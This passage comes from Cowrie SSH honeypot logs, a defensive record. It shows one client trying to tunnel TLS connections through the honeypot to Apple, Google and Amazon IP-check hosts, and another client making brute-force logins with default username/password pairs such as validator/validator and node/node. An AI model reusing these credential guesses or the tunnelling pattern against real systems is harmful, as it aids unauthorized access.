\\xb1\\xe5F\\x01\\xc5+\\xd0\\x03\\xad\\x19b\\xc2\\xefv\\xda\\x8bi\\xa5g\\x967\\x8b,\\r\\xb8\\xc0\\xab\\xe1h\\xc9\\x98%\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xb3\\x9c\\xc2\\xf2h\\xee\\xaf\\xe6\\xe0\\xdb\\xb2\\x1e\\x0e|\\x02w\\t\\x8c3\\xd9\\x94@e\\xa9\\x86\\xa88I\\xfa\\x896 \\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:31:18.518670Z","src_ip":"77.90.185.17","session":"73866b9b0261","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"184.24.145.53","dst_port":443,"src_ip":"77.90.185.17","src_port":53150,"message":"direct-tcp connection request to 184.24.145.53:443 from 127.0.0.1:53150","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:31:18.870719Z","session":"73866b9b0261","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"184.24.145.53","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 184.24.145.53:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:31:19.086483Z","src_ip":"77.90.185.17","session":"73866b9b0261","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"184.24.145.53","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf4\\xfe\\x81\\xae\\xbe\\xa1]\\x93>\\xadmR|\\x1c\\xa1\\x12\\x11+\\x0bK6\\xc8\\xe14\\x8d\\xae\\xda8y\\xc4t\\x1b \\xef\\x0e7\\x9f\\xe4\\xc5C7\\xb96J\\xa7_K\\x9d\\xadNb\\xb6\\xfd\\xf9\\xa9\\x88\\xad\\x08Rt*\\x86\\x85\\xb7\\x89\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 Pzh\\xda8Q)\\x05\\x0cU\\xe9\\xd5y\\xd6\\xff\\xf0t,\\x03A\\xdb\\x05\\xee`_\\xd3L1r6M\\x10\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 184.24.145.53:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf4\\xfe\\x81\\xae\\xbe\\xa1]\\x93>\\xadmR|\\x1c\\xa1\\x12\\x11+\\x0bK6\\xc8\\xe14\\x8d\\xae\\xda8y\\xc4t\\x1b \\xef\\x0e7\\x9f\\xe4\\xc5C7\\xb96J\\xa7_K\\x9d\\xadNb\\xb6\\xfd\\xf9\\xa9\\x88\\xad\\x08Rt*\\x86\\x85\\xb7\\x89\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 Pzh\\xda8Q)\\x05\\x0cU\\xe9\\xd5y\\xd6\\xff\\xf0t,\\x03A\\xdb\\x05\\xee`_\\xd3L1r6M\\x10\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:31:19.089840Z","src_ip":"77.90.185.17","session":"73866b9b0261","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.151.119","dst_port":443,"src_ip":"77.90.185.17","src_port":53560,"message":"direct-tcp connection request to 142.251.151.119:443 from 127.0.0.1:53560","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:31:19.206069Z","session":"73866b9b0261","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.151.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.151.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:31:19.324965Z","src_ip":"77.90.185.17","session":"73866b9b0261","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.151.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb2\\xe2;\\xb78/\\xd3x\\xda\\x96\\xaf\\x0e:\\xa3Q[\\xc4\\r\\x91i\\xe7\\xbd\\xeb\\xcd>\\xd9X\\x9a\\x8f2\\xe2. Uh\\x895\\xb0\\xe7\\xca\\t\\xa0\\xd3\\xec}\\x97|k\\xa9\\x8d4V\\x12\\xdc\\x0c\\x8c!\\xa5L\\x95 \\x88+y\\xd8\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xa3\\x0fk\\xe1s\\xdf\\x15Dg\\xbe\\x8ba\\xe6cSF8\\xb1\\xa0-\\x04\\xa55\\x1e\\xfdTOG\\xd1\\x0f\\xcct\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.151.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb2\\xe2;\\xb78/\\xd3x\\xda\\x96\\xaf\\x0e:\\xa3Q[\\xc4\\r\\x91i\\xe7\\xbd\\xeb\\xcd>\\xd9X\\x9a\\x8f2\\xe2. Uh\\x895\\xb0\\xe7\\xca\\t\\xa0\\xd3\\xec}\\x97|k\\xa9\\x8d4V\\x12\\xdc\\x0c\\x8c!\\xa5L\\x95 \\x88+y\\xd8\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xa3\\x0fk\\xe1s\\xdf\\x15Dg\\xbe\\x8ba\\xe6cSF8\\xb1\\xa0-\\x04\\xa55\\x1e\\xfdTOG\\xd1\\x0f\\xcct\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:31:19.328244Z","src_ip":"77.90.185.17","session":"73866b9b0261","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:31:19.442057Z","src_ip":"77.90.185.17","session":"73866b9b0261","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":50712,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6873393127f","protocol":"ssh","message":"New connection: 2.57.122.208:50712 (10.17.0.5:22) [session: c6873393127f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:32:04.452005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:32:04.457112Z","src_ip":"2.57.122.208","session":"c6873393127f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:32:04.596606Z","src_ip":"2.57.122.208","session":"c6873393127f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:32:04.944114Z","src_ip":"2.57.122.208","session":"c6873393127f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:32:06.075976Z","src_ip":"2.57.122.208","session":"c6873393127f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":33912,"dst_ip":"10.17.0.5","dst_port":22,"session":"28074f4f9708","protocol":"ssh","message":"New connection: 2.57.122.208:33912 (10.17.0.5:22) [session: 28074f4f9708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:34:23.020518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:34:23.025719Z","src_ip":"2.57.122.208","session":"28074f4f9708","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:34:23.141480Z","src_ip":"2.57.122.208","session":"28074f4f9708","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:34:23.656803Z","src_ip":"2.57.122.208","session":"28074f4f9708","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:34:24.915972Z","src_ip":"2.57.122.208","session":"28074f4f9708","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":43764,"dst_ip":"10.17.0.5","dst_port":22,"session":"1394a619db38","protocol":"ssh","message":"New connection: 2.57.122.208:43764 (10.17.0.5:22) [session: 1394a619db38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:36:34.899280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:36:34.903827Z","src_ip":"2.57.122.208","session":"1394a619db38","protocol":"ssh"}
